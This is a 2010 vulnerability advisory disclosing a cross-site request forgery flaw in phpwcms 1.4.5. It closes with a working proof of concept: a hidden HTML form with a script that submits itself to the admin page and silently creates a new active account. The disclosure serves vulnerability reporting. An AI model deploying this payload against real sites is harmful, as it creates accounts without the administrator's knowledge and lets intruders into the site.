Vulnerability ID: HTB22476 Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_phpwcms.html Product: phpwcms Vendor: Oliver Georgi ( http://www.phpwcms.de/ ) Vulnerable Version: 1.4.5 and Probably Prior Versions Vendor Notification: 01 July 2010 Vulnerability Type: CSRF (Cross-Site Request Forgery) Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response Risk level: Low Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: The vulnerability exists due to failure in the "phpwcms.php" script to properly verify the source of HTTP request. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. Attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://host/phpwcms.php?do=admin&s=1"; name="m" method="POST"> <input type="hidden" name="form_newloginname" value="aaa"> <input type="hidden" name="form_newpassword" value="aaa"> <input type="hidden" name="form_newemail" value="aaa@xxxxxxxxxxx"> <input type="hidden" name="form_newrealname" value=""> <input type="hidden" name="form_feuser" value="2"> <input type="hidden" name="form_active" value="1"> <input type="hidden" name="verification_email" value="1"> <input type="hidden" name="form_aktion" value="create_account"> <input type="hidden" name="Submit" value="send+user+data"> </form> <script> document.m.submit(); </script>
